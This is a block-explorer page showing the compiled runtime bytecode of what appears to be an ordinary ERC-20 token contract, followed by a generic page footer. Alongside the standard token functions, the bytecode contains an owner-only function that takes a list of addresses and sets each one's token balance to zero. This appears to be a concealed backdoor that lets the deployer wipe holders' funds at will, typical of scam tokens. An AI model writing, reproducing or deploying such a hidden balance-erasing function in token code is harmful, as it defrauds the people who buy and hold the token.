0x608060405234801561000f575f80fd5b50600436106100b2575f3560e01c8063395093511161006f578063395093511461018c57806370a08231146101bc57806395d89b41146101ec578063a457c2d71461020a578063a9059cbb1461023a578063dd62ed3e1461026a576100b2565b806306fdde03146100b6578063095ea7b3146100d457806318160ddd1461010457806318bcd3d01461012257806323b872dd1461013e578063313ce5671461016e575b5f80fd5b6100be61029a565b6040516100cb9190610bf7565b60405180910390f35b6100ee60048036038101906100e99190610cb5565b61032a565b6040516100fb9190610d0d565b60405180910390f35b61010c61034c565b6040516101199190610d35565b60405180910390f35b61013c60048036038101906101379190610e8e565b610355565b005b61015860048036038101906101539190610ed5565b610462565b6040516101659190610d0d565b60405180910390f35b610176610490565b6040516101839190610f40565b60405180910390f35b6101a660048036038101906101a19190610cb5565b610498565b6040516101b39190610d0d565b60405180910390f35b6101d660048036038101906101d19190610f59565b6104ce565b6040516101e39190610d35565b60405180910390f35b6101f4610513565b6040516102019190610bf7565b60405180910390f35b610224600480360381019061021f9190610cb5565b6105a3565b6040516102319190610d0d565b60405180910390f35b610254600480360381019061024f9190610cb5565b610618565b6040516102619190610d0d565b60405180910390f35b610284600480360381019061027f9190610f84565b61063a565b6040516102919190610d35565b60405180910390f35b6060600380546102a990610fef565b80601f01602080910402602001604051908101604052809291908181526020018280546102d590610fef565b80156103205780601f106102f757610100808354040283529160200191610320565b820191905f5260205f20905b81548152906001019060200180831161030357829003601f168201915b5050505050905090565b5f806103346106bc565b90506103418185856106c3565b600191505092915050565b5f600254905090565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166103956106bc565b73ffffffffffffffffffffffffffffffffffffffff16146103eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103e290611069565b60405180910390fd5b5f5b815181101561045e575f805f84848151811061040c5761040b611087565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555080806001019150506103ed565b5050565b5f8061046c6106bc565b9050610479858285610886565b610484858585610911565b60019150509392505050565b5f6012905090565b5f806104a26106bc565b90506104c38185856104b4858961063a565b6104be91906110e1565b6106c3565b600191505092915050565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b60606004805461052290610fef565b80601f016020809104026020016040519081016040528092919081815260200182805461054e90610fef565b80156105995780601f1061057057610100808354040283529160200191610599565b820191905f5260205f20905b81548152906001019060200180831161057c57829003601f168201915b5050505050905090565b5f806105ad6106bc565b90505f6105ba828661063a565b9050838110156105ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f690611184565b60405180910390fd5b61060c82868684036106c3565b60019250505092915050565b5f806106226106bc565b905061062f818585610911565b600191505092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610731576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072890611212565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361079f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610796906112a0565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516108799190610d35565b60405180910390a3505050565b5f610891848461063a565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461090b57818110156108fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f490611308565b60405180910390fd5b61090a84848484036106c3565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361097f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097690611396565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036109ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e490611424565b60405180910390fd5b6109f8838383610b7d565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610a7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a72906114b2565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b649190610d35565b60405180910390a3610b77848484610b82565b50505050565b505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610bc982610b87565b610bd38185610b91565b9350610be3818560208601610ba1565b610bec81610baf565b840191505092915050565b5f6020820190508181035f830152610c0f8184610bbf565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610c5182610c28565b9050919050565b610c6181610c47565b8114610c6b575f80fd5b50565b5f81359050610c7c81610c58565b92915050565b5f819050919050565b610c9481610c82565b8114610c9e575f80fd5b50565b5f81359050610caf81610c8b565b92915050565b5f8060408385031215610ccb57610cca610c20565b5b5f610cd885828601610c6e565b9250506020610ce985828601610ca1565b9150509250929050565b5f8115159050919050565b610d0781610cf3565b82525050565b5f602082019050610d205f830184610cfe565b92915050565b610d2f81610c82565b82525050565b5f602082019050610d485f830184610d26565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b610d8882610baf565b810181811067ffffffffffffffff82111715610da757610da6610d52565b5b80604052505050565b5f610db9610c17565b9050610dc58282610d7f565b919050565b5f67ffffffffffffffff821115610de457610de3610d52565b5b602082029050602081019050919050565b5f80fd5b5f610e0b610e0684610dca565b610db0565b90508083825260208201905060208402830185811115610e2e57610e2d610df5565b5b835b81811015610e575780610e438882610c6e565b845260208401935050602081019050610e30565b5050509392505050565b5f82601f830112610e7557610e74610d4e565b5b8135610e85848260208601610df9565b91505092915050565b5f60208284031215610ea357610ea2610c20565b5b5f82013567ffffffffffffffff811115610ec057610ebf610c24565b5b610ecc84828501610e61565b91505092915050565b5f805f60608486031215610eec57610eeb610c20565b5b5f610ef986828701610c6e565b9350506020610f0a86828701610c6e565b9250506040610f1b86828701610ca1565b9150509250925092565b5f60ff82169050919050565b610f3a81610f25565b82525050565b5f602082019050610f535f830184610f31565b92915050565b5f60208284031215610f6e57610f6d610c20565b5b5f610f7b84828501610c6e565b91505092915050565b5f8060408385031215610f9a57610f99610c20565b5b5f610fa785828601610c6e565b9250506020610fb885828601610c6e565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061100657607f821691505b60208210810361101957611018610fc2565b5b50919050565b7f43616c6c6572206973206e6f7420746865206f776e65720000000000000000005f82015250565b5f611053601783610b91565b915061105e8261101f565b602082019050919050565b5f6020820190508181035f83015261108081611047565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6110eb82610c82565b91506110f683610c82565b925082820190508082111561110e5761110d6110b4565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f61116e602583610b91565b915061117982611114565b604082019050919050565b5f6020820190508181035f83015261119b81611162565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6111fc602483610b91565b9150611207826111a2565b604082019050919050565b5f6020820190508181035f830152611229816111f0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61128a602283610b91565b915061129582611230565b604082019050919050565b5f6020820190508181035f8301526112b78161127e565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f6112f2601d83610b91565b91506112fd826112be565b602082019050919050565b5f6020820190508181035f83015261131f816112e6565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611380602583610b91565b915061138b82611326565b604082019050919050565b5f6020820190508181035f8301526113ad81611374565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61140e602383610b91565b9150611419826113b4565b604082019050919050565b5f6020820190508181035f83015261143b81611402565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f61149c602683610b91565b91506114a782611442565b604082019050919050565b5f6020820190508181035f8301526114c981611490565b905091905056fea2646970667358221220ad272545a7322b61e610f79d0a556a3f37d9425cdfa022071d1aecfa7570347b64736f6c634300081a0033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.